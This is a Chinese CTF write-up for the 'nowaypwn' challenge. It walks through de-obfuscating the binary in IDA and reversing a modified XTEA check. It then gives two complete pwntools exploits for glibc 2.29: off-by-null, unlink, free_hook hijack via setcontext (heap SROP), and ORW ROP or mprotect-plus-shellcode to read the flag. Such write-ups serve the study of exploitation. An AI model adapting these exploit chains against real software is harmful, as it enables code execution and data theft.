学了不少东西。
刚开始IDA反编译程序只有这么一点,一共三个函数。
看了看之后很快发现了不对。
旁边显然有一堆函数没有用到。
main函数下面显然也有一堆飘红。
所以肯定作者做了混淆,那怎么改回来?
我们找到一处飘红。用这个来举例。
显然因为retn,后面的程序没法用了。
那我们尝试把retn给nop掉。
然后找到这个函数
其实这是里面那个加密函数
可以先看看加密函数现在的样子。
然后我们继续跑到这个函数这里,按U转换为未定义。
再按C转换为代码。
最后在这里分析函数。按P
最后你跑到这个函数,会发现变成了这个样子
这才是函数本来的样子。
其他地方也是相同的做法,在main函数后面还有一个这样的混淆。
一会在首位函数也有一个这样的东西。
所以我们看看我们nop好之后的程序原原本本什么样子。
main
主程序下面多了一个菜单堆。
c54函数是开了沙箱。
下面要求我们输入正确的秘密才能跳出循环。
我们去看判断条件。
输入的进行加密,要求前八个字节长这样。
加密算法就是我们刚刚实例,反混淆回来的。
最后研究半天,官方说是tea加密,但是我感觉是xtea。
分开来看。
tea加密。
以为很难,但是说来很简单。
内容8字节一组,密钥16字节一组。
加密算法
#include<stdio.h>
void encode(unsigned int* v,unsigned int *k)
{
unsigned int l=v[0],r=v[1];
unsigned int k0=k[0],k1=k[1],k2=k[2],k3=k[3];
unsigned int delta=0x9e3779b9;
int i;
unsigned int sum=0;
for(i=0;i<32;i++) //核心加密算法,建议32轮,最低16轮
{
sum+=delta;
l+=((r<<4)+k0)^(r+sum)^((r>>5)+k1); //r<<4/r*16
r+=((l<<4)+k2)^(l+sum)^((l>>5)+k3);
}
v[0]=l;
v[1]=r;
}
int main()
{
unsigned int a[2]={1,2}; //明文,必须是8字节的倍数,不够需要程序补全,参考base64方法
unsigned int k[4]={2,2,3,4};//密钥随便
encode(a,k);
printf("%d %d",a[0],a[1]);
}
就是根据一个delta值,每四个一组,然后循环起来。
解密算法就是直接倒过来就可以了。
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; //由加密轮数而算出
uint32_t delta=0x9e3779b9;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i<32; i++) { //核心解密算法
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}
v[0]=v0; v[1]=v1;
xtea是tea的升级版,增加了更多的密钥表,移位和异或操作等等
#include <stdio.h>
#include <stdint.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t v[2]={1,2};
uint32_t const k[4]={2,2,3,4};
unsigned int r=32;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密前原始数据:%u %u\n",v[0],v[1]);
encipher(r, v, k);
printf("加密后的数据:%u %u\n",v[0],v[1]);
decipher(r, v, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
return 0;
}
当然还有xxtea,就不谈了。
所以我们很明显发现,程序长的明明跟xtea最像。
当然我们看程序是减去一个delta,转换过来发现还是标准的xtea的delta值
所以程序就是一个32轮的标准xtea,换一下delta值,再来16轮。
怎么倒回来解密呢?就把程序加变减,顺序缓缓就好了。
#include <iostream>
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
int main(int argc, char** argv) {
unsigned int a1[2];
int i; // [rsp+14h] [rbp-3Ch]
int j; // [rsp+14h] [rbp-3Ch]
unsigned int v4; // [rsp+18h] [rbp-38h]
unsigned int v5; // [rsp+18h] [rbp-38h]
unsigned int v6; // [rsp+1Ch] [rbp-34h]
unsigned int v7; // [rsp+1Ch] [rbp-34h]
unsigned int v8; // [rsp+20h] [rbp-30h]
unsigned int v9; // [rsp+20h] [rbp-30h]
unsigned int v10; // [rsp+24h] [rbp-2Ch]
unsigned int v11; // [rsp+28h] [rbp-28h]
int v12[6]; // [rsp+30h] [rbp-20h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]
a1[0]=0x105d191e;
//a1[0]=2587752597;
a1[1]=0x98e870c8;
//a1[1]=2997038967;
v10 = *a1;
v11 = a1[1];
v12[0] = 674697780;
v12[1] = 422065475;
v12[2] = 423118625;
v12[3] = -1741216238;
v4 = *a1;
v6 = a1[1];
v8 = 3337565984;
for ( i = 0; i <= 31; ++i )
{
v6 -= (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
v8 += 1640531527;
v4 -= (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
}
*a1 = v4;
a1[1] = v6;
v5 = v10;
v7 = v11;
v9 = 1559835033;
for ( j = 0; j <= 16; ++j )
{
v7 -= (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
v9 -= 344400137;
v5 -= (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
}
*a1 = v5;
a1[1] = v7;
printf("%x %x",a1[0],a1[1]);
}
因为是小端序,所以我们四个字节一组,一个字节一个字节倒过来,发现了secret是useless!
敲了回车没反应,就对了,因为下面菜单部分没有输出的。
至此就完成了题目的前面一小部分。
下面去看堆题。
首先说开了沙箱,看看白名单。
就ban了execve。
功能4是add
最多17个chunk,大小不能超过0x200,地址都在bss上。
功能3是delete
放置了double free 跟uaf。
功能1是edit
有个莫名其妙的E2D函数。
他就是一直循环,直到碰到0跟0x11,碰到0x11就把他变成0.
所以会造成一个off by null的漏洞。
功能2是show
show函数只输出八个字节,而且是分开的,我们看一下那个函数。
是个方程,还循环了两次。
解方程我们还得用到z3.
然后我就发现,这个题目剩下的堆的部分跟强网杯的那道babypwn一摸一样,漏洞也好,这个方程也好,长得一摸一样……
2021强网杯 pwn babypwn
可以去看看,z3的用法也在里面。
exp稍微改改就好了。
但是呢,这道题当时是没给libc的,估计他用的是2.27,但是本着学习的态度,想着用libc2.29来做一下。
为啥要用2.29呢,首先我们总结一下那道强网杯2.27的两种做法。
第一种是unlink,申请三个chunk,第一个chunk伪造,第二个chunk来free。
在堆里面做unlink,来造成tcache posining。
第二种就是我们的house of ein。通过overlap,来泄露libc,再攻击free_hook啥的。
2.29之后,首先unlink多了一条检查。
这导致我们的house of ein直接消失,所以我们只能用unlink去做。
第二个问题是啥
2.29之后,setcontext从rdi寻址改成了rdx寻址,这导致我们对setcontext的利用需要做出一定的改变。
当然2.29之后还会有细微的改变,说白了就是从setcontext + 53变成了setcontext + 61.
我们现在来看一下在2.29的环境下怎么去利用setcontext。
首先看一下setcontext在2.29下面长这样
是rdx寻址,我们在2.27中,因为是rdi寻址,所以直接payload写在要free的chunk,然后free过去先执行free_hook的setcontext,因为rdi指向chunk,直接就可以控制,但是2.29的rdx就不好使了。
所以我们解决的方法是找一个合适的gadget来解决这个问题。
我们在free_hook的地方放上这个gadget
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
然后在要free的 [chunkptr+8]+0x20 的位置填上 setcontext+53。
这个gadget通过
ropper --file libc.so.6 --search “mov rdx”
来找
插一句这个ropper的安装装我老半天,网上的教程个个不靠谱。然后我就简单的现身说法。
Ubuntu ropper的安装与使用
那我们回来说用这个gadget达到了一个什么效果。
我们free一个chunk,在这个chunk+8的地方事先写个地址,这个地址+0x20的地方放着setcontext + 53的地址,然后先走free_hook,rdx变成chunk+8的地址,然后call rdx+0x20,也就是我们的setcontext,最后根据rdx,做一个SROP。当然需要始先把SROP的东西写好。
要额外插一句,这个setcontext是干嘛的,我们还记得SROP,在sigreturn返回的时候,我们调用了系统调用,就会跑一段程序,那一段程序就是这个setcontext,所以我们的这个方法又叫堆srop。
那么所以我们写exp的时候其实可以用pwntools的srop模板。
强网杯那道没用,当时还没反应过来可以用……
在我们利用堆SROP的过程中,其实也可以有很多姿势。
我们可以用传统的orw。
但是可以看到这个题目其实在沙箱上面只ban了execve,而不是只允许用orw,所以还可以给出一种布置shellcode的写法。
首先是传统的orw。
通过堆SROP,读入rop,然后跳过去执行。
exp
# -*- coding: utf-8 -*-
from pwn import *
from z3 import*
context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
p = process("./nowaypwn")
elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")
def add(size):
p.sendline('4')
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
def edit(idx,content):
p.sendline('1')
sleep(0.1)
p.sendline(str(idx))
sleep(0.1)
p.send(content)
sleep(0.1)
def dele(idx):
p.sendline('3')
sleep(0.1)
p.sendline(str(idx))
sleep(0.1)
def show(idx):
p.sendline('2')
sleep(0.1)
p.sendline(str(idx))
sleep(0.1)
def decrypt(target):
a = BitVec('a', 32)
x = a
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
s = Solver()
s.add(x == target)
if s.check() == sat:
return (s.model()[a].as_long())
p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)
add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)
p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)
add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9
for i in range(7):
dele(i)
heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')
dele(8)
show(7)
#p.recv() 这里又不用加…… 人麻了
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)
for i in range(8):
add(0xf0)
dele(1)
dele(7)
dele(2)
magic_gadget = libc_base + 0x150550
bss_addr = libc_base + libc.bss()
flag_addr = bss_addr + 0x200
frame = SigreturnFrame()
frame.rsp = bss_addr + 0x8
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x1000
frame.rip = libc_base + libc.sym['read']
str_frame = str(frame)
print str_frame
print len(str_frame)
pop_rdi = libc_base + 0x26542
pop_rdx_rsi = libc_base + 0x12bdc9
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rax = libc_base + 0x47cf8
syscall_addr = libc_base + libc.sym['syscall'] + 23
#这里如果直接用syscall会被前面那一堆乱七八糟把参数改掉,所以要直接用syscall
poc = './flag\x00\x00'
poc += p64(pop_rdi)
poc += p64(bss_addr)
poc += p64(pop_rdx_rsi)
poc += p64(0)
poc += p64(0)
poc += p64(pop_rax)
poc += p64(constants.SYS_open)
poc += p64(syscall_addr)
poc += p64(pop_rdi)
poc += p64(0x3)
poc += p64(pop_rdx_rsi)
poc += p64(0x100)
poc += p64(flag_addr)
poc += p64(read_addr)
poc += p64(pop_rdi)
poc += p64(1)
poc += p64(pop_rdx_rsi)
poc += p64(100)
poc += p64(flag_addr)
poc += p64(write_addr)
edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53) + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+'\n')
dele(1)
p.sendline(poc)
p.interactive()
下面的是shellcode。
他是通过srop,将free_hook所在的那一页,权限改成rwx。
然后通过shellcode1读入一段更长的shellcode2,然后跳过去执行。
exp
# -*- coding: utf-8 -*-
from pwn import *
from z3 import*
context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
p = process("./nowaypwn")
elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")
def add(size):
p.sendline('4')
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
def edit(idx,content):
p.sendline('1')
sleep(0.1)
p.sendline(str(idx))
sleep(0.1)
p.send(content)
sleep(0.1)
def dele(idx):
p.sendline('3')
sleep(0.1)
p.sendline(str(idx))
sleep(0.1)
def show(idx):
p.sendline('2')
sleep(0.1)
p.sendline(str(idx))
sleep(0.1)
def decrypt(target):
a = BitVec('a', 32)
x = a
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
s = Solver()
s.add(x == target)
if s.check() == sat:
return (s.model()[a].as_long())
p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)
add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)
p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)
add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9
for i in range(7):
dele(i)
heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')
dele(8)
show(7)
#p.recv() 这里又不用加…… 人麻了
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)
for i in range(8):
add(0xf0)
dele(1)
dele(7)
dele(2)
#-------------------堆SROP--------------------
magic_gadget = libc_base + 0x150550
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']
shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
str_frame = str(frame)
print str_frame
print len(str_frame)
#---------------------------准备完毕---------------------------------
edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53) + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+p64(free_hook+0x18)*2+asm(shellcode1)+'\n')
dele(1)
p.sendline(asm(shellcode2))
p.interactive()